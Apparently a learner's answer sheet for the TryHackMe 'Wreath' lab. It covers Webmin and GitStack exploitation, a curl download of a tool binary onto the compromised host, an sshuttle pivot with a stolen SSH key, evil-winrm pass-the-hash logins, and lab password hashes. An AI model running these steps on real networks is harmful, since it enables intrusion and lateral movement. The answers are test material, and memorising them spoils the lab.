THM: Wreath

Webserver Enumeration

How many of the first 15000 ports are open on the target? : 4

sudo nmap -p-15000 -vv

What OS does Nmap think is running? : centos

curl -v

Open the IP in your browser — what site does the server try to redirect you to? : https://thomaswreath.thm/

Read through the text on the page. What is Thomas’ mobile phone number? : +447821548812

Look back at your service scan results: what server version does Nmap detect as running here? : MiniServ 1.890 (Webmin httpd)

sudo nmap -p 10000 -O -A

What is the CVE number for this exploit? : CVE-2019-15107

Webserver Exploitation

Install the exploit through Github and run the program

Which user was the server running as? : root

What is the root user’s password hash?

What is the full path to this file? root/.ssh/id_rsa

Git Server Enumeration

curl -o /tmp/nmap.persee && chmod +x /tmp/nmap.persee

Excluding the out of scope hosts, and the current host (.200), how many hosts were discovered active on the network? : 2

In ascending order, what are the last octets of these host IPv4 addresses? (e.g. if the address was, submit the 80) : 100,150

Scan the hosts — which one does not return a status of “filtered” for every port (submit the last octet only)? : 150

Which TCP ports (in ascending order, comma separated) below port 15000, are open on the remaining target? : 80,3389,5985

Assuming that the service guesses made by Nmap are accurate, which of the found services is more likely to contain an exploitable vulnerability? : http

Git Server Pivoting

sudo sshuttle -r root@ --ssh-cmd "ssh -i rsa.key" -x

What is the name of the program running the service? : gitstack

Do these default credentials work (Aye/Nay)? Nay

There is one Python RCE exploit for version 2.3.10 of the service. What is the EDB ID number of this exploit? : 4337

Git Server Code Review

Look at the information at the top of the script. On what date was this exploit written? 18.01.2018

Bearing this in mind, is the script written in Python2 or Python3? : Python2

Just to confirm that you have been paying attention to the script: What is the name of the cookie set in the POST request made on line 74 (line 73 if you didn’t add the shebang) of the exploit?

Git Server Exploitation

What is the hostname for this target? git-serv

What operating system is this target? Windows

What user is the server running as? : nt authority\system

Pick a method (cURL, BurpSuite, or any others) and get a shell!

Git Server Stabilisation & Post Exploitation

evil-winrm -u perses -p "helloworld" -i 

xfreerdp /v: /u:perses /p:helloworld +clipboard /dynamic-resolution /drive:/usr/share/windows-resources,share

What is the Administrator password hash? : 37db630168e5f82aafa8461e05c6bbd1

What is the NTLM password hash for the user “Thomas”? : 02d90eda8f6b6b06c32d5f207831101f

What is Thomas’ password? : i<3ruby

evil-winrm -u Administrator -H 37db630168e5f82aafa8461e05c6bbd1 -i

Personal PC Enumeration

evil-winrm -u Administrator -H 37db630168e5f82aafa8461e05c6bbd1 -i -s /usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/

Scan the top 50 ports of the last IP address you found in Task 17. Which ports are open



Using the Wappalyzer browser extension (Firefox | Chrome) or an alternative method, identify the server-side Programming language (including the version number) used on the website.

Personal PC The Wonders of Git

Personal PC Website Code Analysis

What does Thomas have to phone Mrs Walker about?

Aside from the filter, what protection method is likely to be in place to prevent people from accessing this page?

Which extensions are accepted (comma separated, no spaces or quotes)?

Personal PC Exploit PoC


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